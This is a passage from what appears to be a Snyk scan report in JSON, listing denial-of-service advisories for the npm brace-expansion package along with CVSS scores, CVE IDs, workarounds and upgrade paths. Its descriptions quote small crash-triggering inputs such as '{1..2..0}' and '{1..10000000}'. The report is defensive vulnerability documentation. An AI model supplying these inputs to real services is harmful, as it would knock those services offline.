">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a 